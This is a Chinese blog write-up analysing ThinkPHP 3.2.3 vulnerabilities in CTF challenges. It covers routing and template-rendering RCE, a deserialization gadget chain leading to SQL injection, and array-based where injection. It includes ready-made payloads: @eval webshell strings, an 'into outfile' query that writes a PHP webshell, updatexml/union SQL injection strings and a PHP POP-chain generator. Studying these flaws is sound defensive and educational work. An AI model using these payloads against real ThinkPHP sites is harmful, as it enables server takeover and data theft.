首页 > 编程语言 >thinkphp3.2.x漏洞分析

thinkphp3.2.x漏洞分析

时间:2024-06-30 19:31:44浏览次数:18  
标签:分析 index name Index thinkphp3.2 漏洞 Home php Think

tp3.2.3

1.开始

入口文件

就是www/index.php,index.php包含了框架的入口文件,所以访问后可以直接加载thinkphp框架

配置文件
thinkphp的配置文件在www/ThinkPHP/Conf/convention.php

url大小写

url默认是大小写敏感的,也可以通过修改convertion.php,达到url不区分大小写的目的

'URL_CASE_INSENSITIVE' => true,

URL模式

在访问入口文件时,如果没有指定模块、控制器、方法,默认会访问HOME模块下面的Index控制器的index方法,所以下面访问是等效的

http://serverName/index.php
http://serverName/index.php/Home/Index/index

为了访问下图中的index方法并输出hello 123我们可以通过下面四种模式

image-20240602160955-wtu3k7a

PATHINFO模式:

http://localhost/index.php/Home/Index/index/name/123/

普通模式:

http://localhost/index.php?m=Home&c=Index&f=index&name=123

兼容模式:

http://localhost/index.php?s=Home/Index/index/name/123
其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,所以我们也可以改成其他的参数。

REWRITE模式:

http://localhost/Home/Index/index/name/123/

路由

开启路由的前提

  1. URL模式为PATH_INFO或者兼容模式也可以,采用普通模式的情况下不支持路由功能
  2. 在应用(或者模块)配置文件中开启路由:'URL_ROUTER_ON' => true,

规则路由

common内全局路由:

<?php
return array(
	//'配置项'=>'配置值'
	'DB_TYPE'               =>  'mysql',     // 数据库类型
    'DB_HOST'               =>  '127.0.0.1', // 服务器地址
    'DB_NAME'               =>  'ctfshow',          // 数据库名
    'DB_USER'               =>  'root',      // 用户名
    'DB_PWD'                =>  'ctfshow',          // 密码
    'DB_PORT'               =>  '3306',        // 端口
    'URL_ROUTER_ON'   => true,
	'URL_ROUTE_RULES' => array(
    'ctfshow/:f/:a' =>function($f,$a){
    	call_user_func($f, $a);
    	}
    )
);

http://challenge.ctf.show/index.php/ctfshow/assert/@eval($_POST[1])

=> call_user_func('assert','@eval($_POST[1])');

2.show渲染函数rce

Thinkphp的渲染机制
Thinkphp的控制器中有show函数,可以将文本渲染成html的网页

show函数最终调用eval函数

成功传入参数值

image-20240602162701-sruthst

image-20240602162707-6velsaq

本地在show方法下断点

image-20240602162427-g40ulp3

继续跟进display方法

image-20240602163547-c1b9ryh

跟进到fetch方法

image-20240602163334-uf3a13b

image-20240602170510-pqu3oe2

if('php' == strtolower(C('TMPL_ENGINE_TYPE')))​这里直接到else里面了,因为本地默认是Think,但是ctfshow里是PHP,所以我们可以直接进行命令执行

image-20240602171300-r2jgiif

注意要url编码

3.反序列化+sql注入

先找__destruct

image-20240603202116-vgdetbl

这里img可控,可调用destroy方法,全局搜素

image-20240603202210-lmi757h

handle和sessionName可控,但是sessID不可控,是空值,后续delete方法的参数大多需要数组,这里即使给sessionName赋值成数组,但是$sessID​如果为空值,在PHP中,用.​连接符连接,得到的结果为字符串Array​。

<?php

$a= array("1234"=>"1234");

var_dump($a."");
#输出:string(5) "Array"

全局搜索delete函数

image-20240603203039-x708ttv

在这写一个echo,然后将前面分析的链子整合一下,进行反序列化,看看调用过程是否正确。

<?php
namespace Think\Image\Driver {

    use Think\Session\Driver\Memcache;

    class Imagick
    {
        private $img;

        public function __construct()
        {
            $this->img = new Memcache();

        }
    }
}

namespace Think\Session\Driver {

    use Think\Model;

    class Memcache
    {
        protected $lifeTime = 3600;
        protected $sessionName = 1;
        protected $handle = null;

        public function __construct()
        {
            $this->handle = new Model();
        }
    }
}
namespace Think {
    class Model{}
}
namespace {
    $a = new Think\Image\Driver\Imagick();
    echo base64_encode(serialize($a));
}

在PHP7版本中,如果调用一个含参数的方法,却不传入参数时,ThinkPHP会报错,而在PHP5版本中不会报错,但是我没配php5的debug

image-20240603205711-cv255wd

m1xian是能打印出来的

image-20240603205925-9i1rqkp

继续向下分析

image-20240603210649-c0suz16

这里$this->data​可控,我们期望进入这个return里面,这样会第二次调用delete方法,此时则该方法的option​参数变相可控

继续向下走

image-20240603213556-cwa08gg

这里$this->db我们可控的,delete方法也可控,option的值我们变相可控

继续全局搜索delete方法

thinkphp3.2.3/ThinkPHP/Library/Think/Db/Driver.class.php

image-20240603213855-l92szap

此处可能存在sql注入漏洞,因为直接对table进行了拼接

上面有个parseTable函数,跟进看一下有木有过滤

image-20240603214142-nppm18e

可以看到只调用了parseKey函数,继续跟进看一下

image-20240603214237-z25ual0

毫无过滤,直接将传入的参数返回

在此处执行sql,执行前打印出来,构造一下到这里的链子

image-20240603214543-yob2vav

<?php
namespace Think\Image\Driver {

    use Think\Session\Driver\Memcache;

    class Imagick
    {
        private $img;

        public function __construct()
        {
            $this->img = new Memcache();

        }
    }
}

namespace Think\Session\Driver {

    use Think\Model;

    class Memcache
    {
        protected $lifeTime = 3600;
        protected $sessionName = '';
        protected $handle = null;

        public function __construct()
        {
            $this->handle = new Model();
        }
    }
}
namespace Think {
    class Model{}
}
namespace {
    $a = new Think\Image\Driver\Imagick();
    echo base64_encode(serialize($a));
}

4.comment注入

无过滤可直接执行命令

image-20240604171202-d03i7in

comment处下断点

走到find方法,之前分析过会进行一个sql执行

image-20240604171656-s3h9s3i

继续跟看看有没有过滤

image-20240604171557-uam7fwq

没有过滤

image-20240604171838-6rm1hj8

https://challenge.ctf.show/?id=0*/;select '<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/a.php';/*

image-20240604172536-545l9tm

5.where注入传入数组

where处下断点,这里也是调用了find函数

image-20240604200526-4pqz8gb

一直跟进到构造sql语句的地方

image-20240604201430-4mm3qdl

跟进红框看一下有木有过滤

image-20240604201837-ie4ip6t

可以看到如果进第一个if比较运算的话,会进parseValue

image-20240604203559-xm38b2e

直接走下面红框的

image-20240604204149-u71fs1v

Payload:

?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

image-20240604204425-vurwkdh

可以看到成功注入

union也可以

?m=Home&c=Index&a=index&id[0]=exp&id[1]==0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database();

image-20240604205303-2kt9qk4

6.php原生引擎下,assign方法变量覆盖导致的RCE

源码:

image-20240605191835-bkdno62

默认情况下tp框架使用的是THINK引擎渲染网页,但是开发者可以手动设置/tp3.2.3/ThinkPHP/Conf/convention.php的TMPL_ENGINE_TYPE值为PHP,来使用原生引擎。这里的漏洞就是因为使用了php原生引擎

看一下assign

image-20240605191826-cgo44vm

传入的name是数组就数组合并,是字符串就name当作键值,value当作值

跟进到display

display方法是渲染用的,没有参数就渲染自身名称的html文件模板(index.html)

image-20240605191034-gnbdmyg

继续跟进到fetch

image-20240605190459-5xbbd8g

extract函数,当flags为EXTR_OVERWRITE时会覆盖原有变量

这里extract($this->tVar​),通过assgin传入

这里直接将$_content eval执行了

?m=Home&c=Index&a=index&name=_content&from=<?php @eval($_POST[1]);?>
也可以?name[_content]=<?php phpinfo();?>

image-20240605194827-x8x68gf

可以看到成功覆盖

标签:分析,index,name,Index,thinkphp3.2,漏洞,Home,php,Think
From: https://www.cnblogs.com/m1xian/p/18276831

相关文章

  • AI数据分析012:动态展示全球第一股英伟达10年股价走势
    文章目录一、介绍二、输入内容三、输出内容一、介绍英伟达在过去十年的股价走势展示了其在市场上的强劲表现和显著增长。自1999年上市以来,英伟达的股价经历了多次显著的涨幅,并在2024年达到了历史新高。从2023年6月的数据来看,英伟达的股价为386.54美元/股,市值为9......
  • AI数据分析013:根据时间序列数据生成动态条形图
    文章目录一、介绍二、输入内容三、输出内容一、介绍动态条形竞赛图(BarChartRace)是一种通过动画展示分类数据随时间变化的可视化工具。它通过动态条形图的形式,展示不同类别在不同时间点的数据排名和变化情况。这种图表非常适合用来展示时间序列数据的变化,能够直......
  • AI数据分析004:统计《庆余年2》中的小人物有哪些?
    文章目录一、介绍二、输入内容三、输出内容一、介绍《庆余年2》除了主角表演经常,每个配角小人物也很出彩。那到底有哪些小人物呢?二、输入内容在deepseek中输入提示词:你是一个Python编程专家,要写一个Python脚本,具体步骤如下:读取文档:"D:\qyn\庆余年第二季剧......
  • AI数据分析011:Excel表格智能判断数据起点来计算增长率
    文章目录一、介绍二、输入内容三、输出内容一、介绍计算Excel表格中2023年1月到2024年4月的总增长率和复合增长率。如果数据都有的情况下,公式很简单:总增长率=(O2-B2)/B2复合增长率=POWER((O2/B2),1/13)-1但是,2023年1月、2月、3月的数据,有些有,有些没有,是0......
  • 基于LEAP模型的能源环境发展、碳排放建模预测及不确定性分析
    在国家“3060”碳达峰碳中和的政策背景下,如何寻求经济-能源-环境的平衡有效发展是国家、省份、城市及园区等不同级别经济体的重要课题。根据国家政策、当地能源结构、能源技术发展水平以及相关碳排放指标制定合理有效的低碳能源发展规划需要以科学准确的能源环境发展预测模型为......
  • Batch文件中使用tasklist命令:深入掌握进程监控与分析
    在Windows操作系统中,tasklist命令是一个强大的工具,它允许用户查看当前运行的进程和它们的详细信息。在自动化脚本和批处理文件(Batch文件)中使用tasklist可以极大地增强对系统状态的监控能力。本文将详细介绍如何在Batch文件中使用tasklist命令来查看和管理进程。1.tasklist......
  • 空间单细胞|基于图像的数据分析(3)
    引言在这篇指南中,我们介绍了Seurat的一个新扩展功能,用以分析新型的空间解析数据,将重点介绍由不同成像技术生成的三个公开数据集。VizgenMERSCOPE(用于小鼠大脑研究)NanostringCosMx空间分子成像仪(用于FFPE人类肺组织)AkoyaCODEX(用于人类淋巴结研究)人肺:NanostringCosMxSpa......
  • 网易云音乐数据爬取与可视化分析系统
    摘要本系统采用Python语言,基于网易云音乐,通过数据挖掘技术对该平台的音乐数据进行了深入的研究和分析,旨在挖掘出音乐市场的规律,为音乐人、唱片公司、音乐爱好者等提供数据支持。系统的开发意义在于:一方面为音乐从业人员提供有力的决策参考,指导其策划和评估音乐项目;另一方面......
  • 这个大纲涵盖了从基础到高级的 Log Parser 使用技巧和实践,帮助用户全面掌握这一强大的
    LogParser是一个功能强大的工具,用于处理和分析各种日志文件和数据源。以下是一个初级使用教程的大纲,帮助你快速入门和理解其基本功能和用法:1. 介绍和安装什么是LogParser?LogParser是一种强大的命令行工具,用于从多种日志文件、事件日志、CSV文件以及其他结构化数据......
  • Java实现管线拓扑关系连通性分析
    管线拓扑关系的连通性分析通常涉及图论(GraphTheory)中的概念,特别是无向图(UndirectedGraph)的遍历算法,如深度优先搜索(DFS,Depth-FirstSearch)或广度优先搜索(BFS,Breadth-FirstSearch)。在管线拓扑中,管线可以被视为图的边(Edge),而管线的连接点可以被视为图的节点(Vertex)。连通性分析......